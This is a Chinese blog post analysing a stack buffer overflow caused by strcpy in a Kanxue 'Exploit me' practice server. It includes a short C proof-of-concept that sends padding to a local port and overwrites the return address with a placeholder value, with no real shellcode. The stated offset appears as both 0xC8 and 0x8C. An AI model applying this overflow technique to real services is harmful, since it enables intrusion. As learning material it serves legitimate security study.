一个简单的远程溢出漏洞分析

这是看雪Exploit me的题目,本来以为会很难,结果还是很基础的,适合我这样的新手练手。

http://bbs.pediy.com/showthread.php?t=56998

进入正题

首先拿到了一个Windows程序,拖到IDA里打算看一下,结果发现程序逻辑出乎意料的简单。就是一个很常规的SOCKET流程带有一些错误处理。

下面详细说明。

mov ebp,eax

test ebp,ebp

很明显是对socket函数进行错误处理

同样是错误处理,判断accept函数是否执行成功

 

这里就是关键了,因为下面就结束连接了,问题肯定出在这里

跟进这个call

发现这里有复制的行为,F5看一下,原来是个strcpy

同时发现个好玩的地方,这个函数没有建立栈帧,这个函数的确是call进来的不是jmp进来的。

然而却没有栈帧。是通过对esp操作来开辟栈空间和指明返回地址的。

那么这里就可以猜到0xC8就是局部变量距离返回地址的大小。

接下来用OD进行调试。

在RET上下断点,可以得到这样。

分析栈可知,确实是我们上面猜的那样,就是0x8C的大小。

写了一个简单的socket用来发送shellcode

 1 // EXP.cpp : 定义控制台应用程序的入口点。
 2 //
 3 
 4 #include <winsock2.h>
 5 #include "stdafx.h"
 6 #include "windows.h"
 7 #pragma comment(lib, "Ws2_32.lib ")
 8 char shellcode[] =
 9 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
12 "AAAAAAAAAAAAAAAAAAAAAA\xCC\xDD\xEE\xFF";
13 int main()
14 {
15     SOCKET MySocket;
16     WSADATA OUTDATA;
17     WSAStartup(MAKEWORD(2, 2), &OUTDATA);
18     MySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
19     sockaddr_in SocketInfo;
20     SocketInfo.sin_family = AF_INET;
21     SocketInfo.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
22     SocketInfo.sin_port = htons(7777);//7777端口通过对目标的bind的函数分析可以得出
23     if (connect(MySocket,(sockaddr *)&SocketInfo,sizeof(SocketInfo))
24         ==SOCKET_ERROR)
25     {
26         MessageBox(NULL, L"error", L"error", 0);
27     }
28     send(MySocket, shellcode, sizeof(shellcode), 0);
29     return 0;
30 }

结果如下

返回地址被成功覆盖!

本来应该写出shellcode的但是因为不会写。。所以,以后再补全吧,待我再研究研究。

漏洞到这里就已经分析清楚了,就是一个简单的strcpy导致的远程溢出漏洞。

posted @ 2016-03-10 00:36  Ox9A82  阅读(2117)  评论(0编辑  收藏  举报